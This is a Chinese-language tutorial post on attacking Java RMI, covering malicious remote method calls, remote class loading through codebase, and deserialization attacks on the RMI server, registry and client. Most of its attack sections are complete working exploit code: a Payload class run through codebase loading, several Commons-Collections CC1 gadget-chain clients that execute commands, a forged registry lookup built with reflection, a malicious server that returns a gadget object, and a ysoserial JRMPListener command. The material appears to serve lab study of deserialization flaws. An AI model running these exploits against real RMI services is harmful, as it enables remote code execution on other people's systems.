概述
Java RMI机制能够让一台Java虚拟机上的对象调用运行在另一台Java虚拟机上的对象的方法。总结一下,RMI机制的实现依赖于以下三个部分
- RMI Server
- RMI Registry
- RMI Client
简单概括一下RMI的流程:Server端事先在Registry处bind
将要被调用的远程对象。当Client需要调用远程对象时,先根据rmi://
地址连接到Registry,然后在Registry处查看是否绑定有需要的远程对象。如果有,则Registry返回Server端的rmi://
地址以及开放的端口,Client据此连接到Server。然后才开始真正的远程方法调用,远程方法在Server端执行,Server将执行后的结果发送给Client。
参考以上流程,我们该怎样利用RMI机制进行攻击呢?
调用远程恶意方法
很容易想到,既然我们能够利用RMI机制直接调用远程方法,如果在Server端存在某些恶意方法,并且恰好又在Registry中注册了,那么我们岂不是可以直接调用远程恶意方法进行攻击?
我们可以通过list方法列出目标Registry上所有绑定的对象
String[] s = Naming.list("rmi://192.168.1.100:1099");
#列出远程对象
$ java -jar RMI_Client.jar
[Ljava.lang.String;@31b7dea0
这里有一个工具,能够探测Server端注册的危险对象,我们进而通过探测出的危险对象进行攻击。不过,上述方式的攻击在实战中很难碰到,这种攻击方式远远不能达到我们的目的。
那么进一步思考,既然我们要求服务器端的恶意对象必须在Registry中注册。那么我们能不能通过Client端在Registry注册恶意对象呢?
#RMI Client
registry.rebind("rmi://192.168.1.100:1099/hello",rmiHello_test);
我们测试在Client端重新绑定一个对象,结果报了以下错误
原来Java中对于RMI Registry做了限制,只有源地址为localhost
时才能调用bind
、rebind
、unbind
等方法。所以我们并不能通过在Client端注册恶意对象的方式进行攻击。
利用codebase进行攻击
Classpath与codebase
Classpath与codebase是两个较为相似的概念,想要理解codebase,我们不妨先了解一下Classpath。
在JAVA中,Classpath描述了JVM在运行一个Class时应该到哪里去寻找需要的类。Classpath是一个系统中的环境变量,如下所示。其中各变量值以;
分割,.
代表当前目录。
Classpath有两种表达方式,一种是指向目录的classpath,如C:/work/classes
,表示C:/work/classes
目录是一个classpath条目,目录下有我们需要的.class
文件。另一种方式是指向.jar
压缩文件的classpath,如C:/work/util.jar
,表示C:/work/util.jar
文件是一个classpath条目,.jar
压缩文件中含有我们需要的.class文件。
于是当JVM在加载类的时候会以如下方式查找具体的类文件:classpath+包目录+类文件
。如Classpath中有一个C:/work/classes
条目,需要加载的类是com.company.util.Sample.class
,那么在加载这个类的时候,虚拟机会查找C:/work/classes/com/company/util
目录,如果Sample.class
在这个目录中,虚拟机就可以找到,如果这个类不在这个目录中,同时也不在任何一个其它classpath中,那么虚拟机会抛出一个ClassNotFoundException
。
命令行状态下的classpath可以通过两种方式设置:
- 一种是直接设置环境变量,命令行下使用set命令:
set CLASSPATH=C:/work/classes;C:/work/util.jar
- 另一种方式是在执行javac、java或者其它Java命令时直接指定classpath:
java -classpath [-cp] c:/work/classes;c:/work/util.jar com.company.util.Sample
总结起来,Classpath其实就是一个JVM用于在本地寻找类的"路径"
。类似的,codebase其实也是一个路径,只不过这个路径不是本地路径,而是一个远程路径。
JVM不仅可以在本地的Classpath中加载类,也可以根据需要从网络上下载类。为了使Java程序可以从网络上下载类,我们可以使用codebase来指定Java程序在网络何处寻找需要加载的类。
那么我们该怎么指定codebase呢?在程序启动前,我们可以通过-D
参数来设置一些系统属性值,包括codebase,就像下面这样
java -Djava.rmi.server.codebase=http://url:8080/
#或者
java -Djava.rmi.server.codebase=http://url:8080/xxx.jar
同时,我们也可以在代码中通过System.setProperty()
来设置系统属性值
System.setProperty("java.rmi.server.codebase", "http://url:8080/");
既然JVM既可以在Classpath中加载类,又可以在codebase中加载类,那么Classpath和codebase是什么关系呢?
实际上,Classpath和codebase都是被系统类加载器(ClassLoader)所使用的。类加载器在加载一个类的时候,首先在Classpath中查找需要的类,然后在codebase中查找,第一个被查找到的类才会被加载。例如,在早期的JDK版本中,缺省codebase是空值,如果没有在Classpath中指定.
(当前目录),运行当前目录下的java class时会出现ClassNotFoundException
。而在晚些版本中,缺省codebase是.
,所以即使不在classpath中加入.
,当前目录下的java class仍然可以正常运行。
RMI动态类加载
RMI核心特点之一就是动态类加载,如果当前JVM中没有某个类的定义,它可以从远程URL去下载这个类的class,动态加载的.class文件可以使用http://
、ftp://
、file://
进行托管。这可以动态的扩展远程应用的功能,RMI注册表上可以动态的加载绑定多个RMI应用。
对于RMI客户端而言,如果服务端方法的返回值可能是一些子类的对象实例,而客户端并没有这些子类的class文件,如果需要客户端正确调用这些子类中被重写的方法,客户端就需要从服务端提供的java.rmi.server.codebase
中去加载类
对于RMI服务端而言,如果客户端传递的方法参数是远程对象接口方法参数类型的子类,那么服务端需要从客户端提供的java.rmi.server.codebase
中去加载对应的类。因此客户端与服务端两边的java.rmi.server.codebase
在RMI通信过程中都是互相传递的。
假如我们能够控制codebase的值,让Server去远程加载我们放置的恶意类,那么不就能达到攻击的效果了吗?
不过在RMI中,不论是客户端还是服务端,只有满足以下条件才能利用codebase从远程加载类
- 由于
Java SecurityManager
的限制,默认是不允许远程加载的,如果需要进行远程加载类,需要启动RMISecurityManager
并且配置java.security.policy
。 - 属性
java.rmi.server.useCodebaseOnly
的值必需为false
。但是从JDK 6u45、7u21开始,java.rmi.server.useCodebaseOnly
的默认值就是true
。当该值为true
时,将禁用自动加载远程类文件,仅从CLASSPATH和当前虚拟机的java.rmi.server.codebase
指定路径加载类文件,不再支持从RMI请求中获取codebase。增加了RMI ClassLoader的安全性。
下面我们来测试一下如何利用codebase进行攻击
模拟攻击
编写RMI Server以及RMI Client
服务器端
ICalc.java
package learn.rmi.codebase;
import java.rmi.Remote;
import java.rmi.RemoteException;
import java.util.List;
public interface ICalc extends Remote {
//这使用List类做参数是方便我们传递恶意对象
public Integer sum(List<Integer> lists) throws RemoteException;
}
RMIServer.java
package learn.rmi.codebase;
import java.rmi.Naming;
import java.rmi.RemoteException;
import java.rmi.registry.LocateRegistry;
import java.rmi.server.UnicastRemoteObject;
import java.util.List;
public class RMIServer {
public class RMICalc extends UnicastRemoteObject implements ICalc {
protected RMICalc() throws RemoteException{
super();
}
@Override
public Integer sum(List<Integer> lists) throws RemoteException {
Integer result=0;
for (Integer list : lists){
result+=list;
}
return result;
}
}
private void register() throws Exception{
//启动RMISecurityManager
if (System.getSecurityManager() == null) {
System.out.println("setup SecurityManager");
System.setSecurityManager(new SecurityManager());
}
RMICalc rmiCalc=new RMICalc();
LocateRegistry.createRegistry(1099);
Naming.bind("rmi://127.0.0.1:1099/calc",rmiCalc);
System.out.println("Registry运行中......");
}
public static void main(String[] args) throws Exception {
new RMIServer().register();
}
}
服务端配置RMISecurityManager
,并编写server.policy
grant {
permission java.security.AllPermission;
};
客户端
RMIClient.java
package learn.rmi.codebase;
import java.io.Serializable;
import java.rmi.Naming;
import java.util.List;
public class RMIClient implements Serializable {
public void lookup() throws Exception{
ICalc iCalc = (ICalc) Naming.lookup("rmi://192.168.1.104:1099/calc");
List<Integer> li = new Payload();
li.add(1);
li.add(2);
System.out.println(iCalc.sum(li));
}
public static void main(String[] args) throws Exception{
new RMIClient().lookup();
}
}
恶意类Payload.java
package learn.rmi.codebase;
import java.io.IOException;
import java.util.ArrayList;
public class Payload extends ArrayList<Integer> {
static {
try {
Runtime.getRuntime().exec("whoami");
System.out.println("success");
} catch (IOException e) {
e.printStackTrace();
}
}
}
攻击测试一
我们首先将恶意类Payload.java放到Server端,不使用codebase,看能否正常执行
可以看到服务器正常加载了我们传递的恶意类。服务端首先会在CLASSPATH下寻找Payload.java,找到了便会将其加载进来。
攻击测试二
下面我们将Payload.java从Server端删除,使用codebase进行类加载,模拟正常的攻击场景。
配置客户端和服务端的VM options,如下
#服务端
-Djava.rmi.server.useCodebaseOnly=false -Djava.security.policy=C:\xxx\server.policy -Djava.rmi.server.hostname=192.168.1.104
注意这里的policy文件在Windows下需要写完整路径,不然会报如下错误
Exception in thread "main" java.security.AccessControlException: access denied ("java.net.SocketPermission" "127.0.0.1:1099" "connect,resolve")
at java.security.AccessControlContext.checkPermission(AccessControlContext.java:472)
at java.security.AccessController.checkPermission(AccessController.java:886)
at java.lang.SecurityManager.checkPermission(SecurityManager.java:549)
at java.lang.SecurityManager.checkConnect(SecurityManager.java:1051)
at java.net.Socket.connect(Socket.java:601)
at java.net.Socket.connect(Socket.java:555)
at java.net.Socket.<init>(Socket.java:451)
at java.net.Socket.<init>(Socket.java:228)
at sun.rmi.transport.proxy.RMIDirectSocketFactory.createSocket(RMIDirectSocketFactory.java:40)
at sun.rmi.transport.proxy.RMIMasterSocketFactory.createSocket(RMIMasterSocketFactory.java:148)
at sun.rmi.transport.tcp.TCPEndpoint.newSocket(TCPEndpoint.java:617)
at sun.rmi.transport.tcp.TCPChannel.createConnection(TCPChannel.java:216)
at sun.rmi.transport.tcp.TCPChannel.newConnection(TCPChannel.java:202)
at sun.rmi.server.UnicastRef.newCall(UnicastRef.java:342)
at sun.rmi.registry.RegistryImpl_Stub.bind(RegistryImpl_Stub.java:65)
at java.rmi.Naming.bind(Naming.java:128)
at learn.rmi.codebase.RMIServer.register(RMIServer.java:39)
at learn.rmi.codebase.RMIServer.main(RMIServer.java:44)
上述错误是由于我们在服务器端启用了RMISecurityManager,但是却没有配置相应的grant
。
解决办法如下
- 不启用RMISecurityManager,删除代码
System.setSecurityManager(new SecurityManager());
- 给JVM配置相应的grant权限,默认的policy文件在
%JAVA_HOME%\jre\lib\security\java.policy
,如果需要指定新的policy文件,请在VM options中加上参数-Djava.security.policy=file
下面来配置客户端VM options
#客户端
-Djava.rmi.server.useCodebaseOnly=false -Djava.rmi.server.codebase=http://192.168.1.104:8888/
下面我们启动恶意服务器,但不放置恶意类文件
python3 -m http.server 8888
启动服务端,并使用客户端发起请求,会报如下错误
Exception in thread "main" java.rmi.ServerException: RemoteException occurred in server thread; nested exception is:
java.rmi.UnmarshalException: error unmarshalling arguments; nested exception is:
java.lang.ClassNotFoundException: learn.rmi.codebase.Payload
at sun.rmi.server.UnicastServerRef.dispatch(UnicastServerRef.java:389)
at sun.rmi.transport.Transport$1.run(Transport.java:200)
at sun.rmi.transport.Transport$1.run(Transport.java:197)
at java.security.AccessController.doPrivileged(Native Method)
...
提示找不到类Payload,因为我们还没有在恶意服务器上放置类文件,同样我们的恶意服务器也受到请求
利用测试三
下面我们将恶意类放置到服务器上,注意路径要和客户端包路径相同。再次发起请求
恶意服务器收到请求
同时Server端加载了服务器上的恶意类
Client端也收到了Server端返回的远程方法执行结果
上述过程是通过RMI Client端攻击RMI Server端。Client端通过向Server传递一个恶意的codebase地址,使服务器远程加载恶意类进行攻击。这时受害者是RMI服务端,需要满足以下条件才能利用
- 可以控制客户端去连接我们的恶意服务端
- 客户端允许远程加载类
- JDK版本限制
另一种情况是Server端返回某子类的对象实例,Client端需要通过codebase加载缺少的.class文件,此时是通过RMI Server端攻击RMI Client端,攻击方式与上述大同小异,同样需要满足以下条件
- RMI服务端允许远程加载类
- JDK版本限制
这种利用codebase加载远程恶意对象的方式利用条件较为苛刻,在实战中很难碰到。
RMI反序列化攻击
我们知道,RMI的核心之一就是动态类加载。不管是Client,Server还是Registry,当需要操作远程对象的时候,就势必会涉及到序列化和反序列化,假如某一端调用了重写的readObject()
方法,那么我们就可以进行反序列化攻击了。
RMI交互方式
在RMI过程中,常常会涉及到以下5个交互方式,这几种方法位于RegistryImpl_Skel.dispatch()
中,每种方式对应的case如下
- 0->bind
- 1->list
- 2->lookup
- 3->rebind
- 4->unbind
list
list方法用来列出Registry上绑定的远程对象
case 1:
var2.releaseInputStream();
String[] var97 = var6.list();
try {
ObjectOutput var98 = var2.getResultStream(true);
var98.writeObject(var97);
break;
} catch (IOException var92) {
throw new MarshalException("error marshalling return", var92);
}
没有readObject()
无法利用
bind&rebind
bind
方法用来在Registry上绑定一个远程对象,rebind
方法和bind
方法类似
#bind方法
case 0:
try {
var11 = var2.getInputStream();
var7 = (String)var11.readObject();
var8 = (Remote)var11.readObject();
} catch (IOException var94) {
throw new UnmarshalException("error unmarshalling arguments", var94);
} catch (ClassNotFoundException var95) {
throw new UnmarshalException("error unmarshalling arguments", var95);
} finally {
var2.releaseInputStream();
}
var6.bind(var7, var8);
try {
var2.getResultStream(true);
break;
} catch (IOException var93) {
throw new MarshalException("error marshalling return", var93);
}
#rebind方法
case 3:
try {
var11 = var2.getInputStream();
var7 = (String)var11.readObject();
var8 = (Remote)var11.readObject();
} catch (IOException var85) {
throw new UnmarshalException("error unmarshalling arguments", var85);
} catch (ClassNotFoundException var86) {
throw new UnmarshalException("error unmarshalling arguments", var86);
} finally {
var2.releaseInputStream();
}
var6.rebind(var7, var8);
try {
var2.getResultStream(true);
break;
} catch (IOException var84) {
throw new MarshalException("error marshalling return", var84);
}
可以看到bind
和rebind
方法中都含有readObject()
方法。如果服务端调用了bind
和rebind
方法,并且安装了存在反序列化漏洞的相关组件,那么这时候我们就可以进行反序列化攻击。
lookup&unbind
lookup
方法用于获取Registry上的一个远程对象,unbind
用于解绑一个远程对象
#lookup方法
case 2:
try {
var10 = var2.getInputStream();
var7 = (String)var10.readObject();
} catch (IOException var89) {
throw new UnmarshalException("error unmarshalling arguments", var89);
} catch (ClassNotFoundException var90) {
throw new UnmarshalException("error unmarshalling arguments", var90);
} finally {
var2.releaseInputStream();
}
var8 = var6.lookup(var7);
try {
ObjectOutput var9 = var2.getResultStream(true);
var9.writeObject(var8);
break;
} catch (IOException var88) {
throw new MarshalException("error marshalling return", var88);
}
#unbind方法
case 4:
try {
var10 = var2.getInputStream();
var7 = (String)var10.readObject();
} catch (IOException var81) {
throw new UnmarshalException("error unmarshalling arguments", var81);
} catch (ClassNotFoundException var82) {
throw new UnmarshalException("error unmarshalling arguments", var82);
} finally {
var2.releaseInputStream();
}
var6.unbind(var7);
try {
var2.getResultStream(true);
break;
} catch (IOException var80) {
throw new MarshalException("error marshalling return", var80);
}
可以看到这两个方法都含有readObject()
,不过必须为String
类,这里我们不能直接利用,可以伪造连接请求进行利用。
攻击Server端
当客户端需要调用的远程方法的参数中含有Object类,此时Client可以发送一个恶意的对象。由于远程对象是以序列化形式进行传输的,Server端接收的时候势必会对其进行反序列化。如果Server端恰好安装了含有漏洞的组件,此时我们就可以进行攻击,下面我们来模拟一下。
其实这种方法本质还是传递给Server一个恶意对象,并且有以下利用条件
- Server端有能够传递Object对象的远程方法
- Server端安装有包含反序列化漏洞的相关组件
服务端
ICalc.java
package learn.rmi.serialize;
import java.rmi.Remote;
import java.rmi.RemoteException;
import java.util.List;
public interface ICalc extends Remote {
//这使用List类做参数是方便我们传递恶意对象
public Integer sum(List<Integer> lists) throws RemoteException;
//带有Object类参数的远程对象
public Object RMI_Serialize(Object o) throws Exception;
}
RMIServer.java
package learn.rmi.serialize;
import java.rmi.Naming;
import java.rmi.RemoteException;
import java.rmi.registry.LocateRegistry;
import java.rmi.server.UnicastRemoteObject;
import java.util.List;
public class RMIServer {
public class RMICalc extends UnicastRemoteObject implements ICalc {
protected RMICalc() throws RemoteException{
super();
}
@Override
public Integer sum(List<Integer> lists) throws RemoteException {
Integer result=0;
for (Integer list : lists){
result+=list;
}
return result;
}
@Override
public Object RMI_Serialize(Object o) throws Exception {
System.out.println("success");
return o;
}
}
private void register() throws Exception{
RMICalc rmiCalc=new RMICalc();
LocateRegistry.createRegistry(1099);
Naming.bind("rmi://127.0.0.1:1099/calc",rmiCalc);
System.out.println("Registry运行中......");
}
public static void main(String[] args) throws Exception {
new RMIServer().register();
}
}
同时服务端配置相应带有漏洞的组件,这里我以commons-collections3.2.1
为例
pom.xml
...
<dependencies>
<dependency>
<groupId>commons-collections</groupId>
<artifactId>commons-collections</artifactId>
<version>3.2.1</version>
</dependency>
</dependencies>
...
客户端
ICalc.java
package learn.rmi.serialize;
import java.rmi.Remote;
import java.rmi.RemoteException;
import java.util.List;
public interface ICalc extends Remote {
//这使用List类做参数是方便我们传递恶意对象
public Integer sum(List<Integer> lists) throws RemoteException;
public Object RMI_Serialize(Object o) throws Exception;
}
RMIClient.java
package learn.rmi.serialize;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;
import java.io.Serializable;
import java.lang.annotation.Target;
import java.lang.reflect.Constructor;
import java.rmi.Naming;
import java.util.HashMap;
import java.util.Map;
public class RMIClient implements Serializable {
public void lookup() throws Exception{
//查找绑定对象
String rmi = "rmi://192.168.1.104:1099/";
String[] bindeds=Naming.list(rmi);
for(String binded:bindeds){
System.out.println(binded);
}
ICalc iCalc = (ICalc) Naming.lookup("rmi://192.168.1.104:1099/calc");
iCalc.RMI_Serialize(Exploit());
}
//恶意对象CC1
public static Object Exploit() throws Exception{
Transformer[] transformers=new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),
new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})
};
ChainedTransformer chainedTransformer=new ChainedTransformer(transformers);
HashMap<Object,Object> map=new HashMap<>();
map.put("value","value");
Map<Object,Object> transformedMap= TransformedMap.decorate(map,null,chainedTransformer);
// for (Map.Entry entry: transformedMap.entrySet()){
// entry.setValue(Runtime.getRuntime());
// }
Class c=Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor AnnotationInvocationHandlerConstructor=c.getDeclaredConstructor(Class.class,Map.class);
AnnotationInvocationHandlerConstructor.setAccessible(true);
Object o=AnnotationInvocationHandlerConstructor.newInstance(Target.class,transformedMap);
return o;
}
public static void main(String[] args) throws Exception{
new RMIClient().lookup();
}
}
模拟攻击
下面我们通过Client攻击Server。将Server放到本地运行
远程搭建运行恶意Client
成功RCE
攻击Registry
一般Registry和Server是绑定在一起的,攻击Registry其实是攻击与Registry交互的几种方法。当Server的RegistryImpl_Skel对象调用了相应方法时,就有可能被攻击
调用bind&rebind
我们上面分析过,这两种方法含有readObject(),但是只能接受String和Remote对象的反序列化
var7 = (String)var11.readObject();
var8 = (Remote)var11.readObject();
所以这里我们不能直接进行攻击,因为我们的生成的恶意对象是Object类,而Client端bind
和rebind
方法只能传入String和Remote类,我们需要使用动态代理将其转为Remote对象,如下
InvocationHandler o=(InvocationHandler)AnnotationInvocationHandlerConstructor.newInstance(Target.class,transformedMap);
Remote r = Remote.class.cast(Proxy.newProxyInstance(Remote.class.getClassLoader(),new Class[] { Remote.class }, o));
进行模拟攻击
Server端
package learn.rmi.serialize;
import java.io.Serializable;
import java.rmi.RemoteException;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
import java.rmi.server.UnicastRemoteObject;
import java.util.List;
public class RMIServer {
public class RMICalc extends UnicastRemoteObject implements ICalc, Serializable {
protected RMICalc() throws RemoteException{
super();
}
@Override
public Integer sum(List<Integer> lists) throws RemoteException {
Integer result=0;
for (Integer list : lists){
result+=list;
}
return result;
}
@Override
public Object RMI_Serialize(Object o) throws Exception {
System.out.println("success");
return o;
}
}
private void register() throws Exception{
RMICalc rmiCalc=new RMICalc();
Registry registry = LocateRegistry.createRegistry(1099);
registry.bind("rmi://127.0.0.1:1099/calc",rmiCalc);
System.out.println("Registry运行中......");
}
public static void main(String[] args) throws Exception {
new RMIServer().register();
}
}
Client端
package learn.rmi.serialize;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;
import java.io.Serializable;
import java.lang.annotation.Target;
import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Proxy;
import java.rmi.Remote;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
import java.util.HashMap;
import java.util.Map;
public class RMIClient implements Serializable {
public void lookup() throws Exception{
String rmi = "192.168.1.102";
Integer port=1099;
Registry registry = LocateRegistry.getRegistry(rmi,port);
registry.bind("ser", (Remote) Exploit());
}
//恶意对象CC1
public static Object Exploit() throws Exception{
Transformer[] transformers=new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),
new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})
};
ChainedTransformer chainedTransformer=new ChainedTransformer(transformers);
HashMap<Object,Object> map=new HashMap<>();
map.put("value","value");
Map<Object,Object> transformedMap= TransformedMap.decorate(map,null,chainedTransformer);
Class c=Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor AnnotationInvocationHandlerConstructor=c.getDeclaredConstructor(Class.class,Map.class);
AnnotationInvocationHandlerConstructor.setAccessible(true);
InvocationHandler o=(InvocationHandler)AnnotationInvocationHandlerConstructor.newInstance(Target.class,transformedMap);
Remote r = Remote.class.cast(Proxy.newProxyInstance(
Remote.class.getClassLoader(),
new Class[] { Remote.class }, o));
return r;
}
public static void main(String[] args) throws Exception{
new RMIClient().lookup();
}
}
本地启动Server
远端启动Client
成功执行
调用lookup&unbind
由于这两个方法只能传入String
类,所以我们需要重写Client端Registry
var7 = (String)var10.readObject();
这里我们以lookup为例,源码如下
public Remote lookup(String var1) throws AccessException, NotBoundException, RemoteException {
try {
RemoteCall var2 = super.ref.newCall(this, operations, 2, 4905912898345647071L);
try {
ObjectOutput var3 = var2.getOutputStream();
var3.writeObject(var1);
} catch (IOException var18) {
throw new MarshalException("error marshalling arguments", var18);
}
super.ref.invoke(var2);
Remote var23;
try {
ObjectInput var6 = var2.getInputStream();
var23 = (Remote)var6.readObject();
} catch (IOException var15) {
throw new UnmarshalException("error unmarshalling return", var15);
} catch (ClassNotFoundException var16) {
throw new UnmarshalException("error unmarshalling return", var16);
} finally {
super.ref.done(var2);
...
由于参数var1只能为String类,所以我们需要自己伪造实现lookup方法,并在var3.writeObject(var1);
中将我们的恶意类传入。
首先获取ref对象,以下是RegistryImpl_Stub的继承图
ref位于RemoteObject中的fields,我们可以通过反射调用来获取
// 获取ref
Field[] fields_0 = registry.getClass().getSuperclass().getSuperclass().getDeclaredFields();
fields_0[0].setAccessible(true);
UnicastRef ref = (UnicastRef) fields_0[0].get(registry);
然后同样反射获取operations
//获取operations
Field[] fields_1 = registry.getClass().getDeclaredFields();
fields_1[0].setAccessible(true);
Operation[] operations = (Operation[]) fields_1[0].get(registry);
最后伪造lookup的代码,模拟通信过程,并传入恶意信息,其中r
就是我们传入的恶意对象
//伪造lookup代码
RemoteCall var2 = ref.newCall((RemoteObject) registry, operations, 2, 4905912898345647071L);
ObjectOutput var3 = var2.getOutputStream();
var3.writeObject(r);
ref.invoke(var2);
模拟攻击
Server端不变
Client端
package learn.rmi.serialize;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;
import sun.rmi.server.UnicastRef;
import java.io.ObjectOutput;
import java.io.Serializable;
import java.lang.annotation.Target;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Proxy;
import java.rmi.Remote;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
import java.rmi.server.Operation;
import java.rmi.server.RemoteCall;
import java.rmi.server.RemoteObject;
import java.util.HashMap;
import java.util.Map;
public class RMIClient2 implements Serializable {
public void lookup() throws Exception{
//获取Registry
String rmi = "192.168.1.102";
Integer port=1099;
Registry registry = LocateRegistry.getRegistry(rmi,port);
// 获取ref
Field[] fields_0 = registry.getClass().getSuperclass().getSuperclass().getDeclaredFields();
fields_0[0].setAccessible(true);
UnicastRef ref = (UnicastRef) fields_0[0].get(registry);
//获取operations
Field[] fields_1 = registry.getClass().getDeclaredFields();
fields_1[0].setAccessible(true);
Operation[] operations = (Operation[]) fields_1[0].get(registry);
// 伪造lookup的代码,去伪造传输信息
RemoteCall var2 = ref.newCall((RemoteObject) registry, operations, 2, 4905912898345647071L);
ObjectOutput var3 = var2.getOutputStream();
var3.writeObject(Exploit());
ref.invoke(var2);
}
//恶意对象CC1
public static Object Exploit() throws Exception{
Transformer[] transformers=new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),
new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})
};
ChainedTransformer chainedTransformer=new ChainedTransformer(transformers);
HashMap<Object,Object> map=new HashMap<>();
map.put("value","value");
Map<Object,Object> transformedMap= TransformedMap.decorate(map,null,chainedTransformer);
// for (Map.Entry entry: transformedMap.entrySet()){
// entry.setValue(Runtime.getRuntime());
// }
Class c=Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor AnnotationInvocationHandlerConstructor=c.getDeclaredConstructor(Class.class,Map.class);
AnnotationInvocationHandlerConstructor.setAccessible(true);
InvocationHandler o=(InvocationHandler)AnnotationInvocationHandlerConstructor.newInstance(Target.class,transformedMap);
Remote r = Remote.class.cast(Proxy.newProxyInstance(
Remote.class.getClassLoader(),
new Class[] { Remote.class }, o));
return r;
}
public static void main(String[] args) throws Exception{
new RMIClient2().lookup();
}
}
启动Server
运行Client
成功执行
攻击Client
Server攻击Client
在RMI过程中,Server会把远程方法执行的结果返回给Client端,如果返回的结果是一个对象,那么这个对象会被序列化传输,并在Client端被反序列化。如果我们搭建恶意Server端,返回给Client端恶意对象,就可以达到攻击的效果。
模拟攻击
恶意Server端
ICalc.java
package learn.rmi.serialize;
import java.rmi.Remote;
import java.rmi.RemoteException;
import java.util.List;
public interface ICalc extends Remote {
//这使用List类做参数是方便我们传递恶意对象
public Integer sum(List<Integer> lists) throws RemoteException;
//带有Object类参数的远程对象
public Object RMI_Serialize(Object o) throws Exception;
public Object RMI_Serialize_Client() throws Exception;
}
RMIServer_Client.java
package learn.rmi.serialize;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;
import java.io.Serializable;
import java.lang.annotation.Target;
import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationHandler;
import java.rmi.RemoteException;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
import java.rmi.server.UnicastRemoteObject;
import java.util.HashMap;
import java.util.List;
import java.util.Map;
public class RMIServer_Client {
public class RMICalc extends UnicastRemoteObject implements ICalc, Serializable {
protected RMICalc() throws RemoteException{
super();
}
@Override
public Integer sum(List<Integer> lists) throws RemoteException {
Integer result=0;
for (Integer list : lists){
result+=list;
}
return result;
}
@Override
public Object RMI_Serialize(Object o) throws Exception {
return null;
}
@Override
public Object RMI_Serialize_Client() throws Exception {
Transformer[] transformers=new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),
new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})
};
ChainedTransformer chainedTransformer=new ChainedTransformer(transformers);
HashMap<Object,Object> map=new HashMap<>();
map.put("value","value");
Map<Object,Object> transformedMap= TransformedMap.decorate(map,null,chainedTransformer);
// for (Map.Entry entry: transformedMap.entrySet()){
// entry.setValue(Runtime.getRuntime());
// }
Class c=Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor AnnotationInvocationHandlerConstructor=c.getDeclaredConstructor(Class.class,Map.class);
AnnotationInvocationHandlerConstructor.setAccessible(true);
InvocationHandler o=(InvocationHandler)AnnotationInvocationHandlerConstructor.newInstance(Target.class,transformedMap);
return (Object) o;
}
}
private void register() throws Exception{
RMICalc rmiCalc=new RMICalc();
Registry registry = LocateRegistry.createRegistry(1099);
registry.bind("calc",rmiCalc);
System.out.println("Registry运行中......");
}
public static void main(String[] args) throws Exception {
new RMIServer_Client().register();
}
}
Client端
RMIClient_Client.java
package learn.rmi.serialize;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
public class RMIClient_Client {
public void lookup() throws Exception{
String rmi = "192.168.1.10";
Integer port=1099;
Registry registry = LocateRegistry.getRegistry(rmi,port);
ICalc iCalc = (ICalc) registry.lookup("calc");
iCalc.RMI_Serialize_Client();
}
public static void main(String[] args) throws Exception{
new RMIClient_Client().lookup();
}
}
启动恶意客户端等待Client连接
Client发起请求,成功执行
Registry攻击Client
在前面分析JRMP协议过程中,当Client在连接Server之前,Registry会返回给Client一些序列化数据。如果我们能够搭建恶意的Registry来模拟JRMP协议通信,返回给Client一些恶意的序列化数据,那么就可以达到攻击的效果了。
对于Client来说,有以下几种方法来与注册中心进行交互
- bind
- list
- lookup
- unbind
- rebind
除了unbind
和rebind
,剩下的三种方法都会返回序列化数据给Client,然后Client会反序列化这些数据。这里我们使用ysoserial工具中的JRMPListener模块进行攻击。
//搭建恶意Registry
java -cp ysoserial-0.0.6-SNAPSHOT-all.jar ysoserial.exploit.JRMPListener 1099 CommonsCollections1 'calc'
模拟Client进行连接
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
public class Client {
public static void main(String[] args) throws Exception {
Registry registry = LocateRegistry.getRegistry("127.0.0.1",1099);
registry.list();
}
}
师傅tql,能否加个联系方式交流一下♂
tql师傅